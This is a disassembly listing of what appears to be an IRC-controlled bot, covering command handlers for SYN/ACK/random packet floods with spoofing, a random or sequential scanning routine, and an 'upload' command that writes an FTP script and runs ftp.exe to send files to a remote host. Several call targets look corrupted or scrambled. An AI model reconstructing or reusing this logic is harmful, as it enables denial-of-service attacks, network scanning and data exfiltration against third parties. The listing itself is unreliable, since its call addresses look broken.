		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CBA3C
		push	esi
		call	dword_4CBABC
		call	dword_4CB97C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AF00


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE74
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42AE3C
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE04


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBB14, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADBC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42AD84
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD30
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF8


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC90
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330F8o
					; ___:0043310Co ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC48
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42AC10


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABAC


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 2690E78h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB990
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB3C
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB0C


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_431808


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB9C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DBD8
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA3C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42AA04
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A978
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E978[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A96C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E760[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E978
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E978[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E760[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E978
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


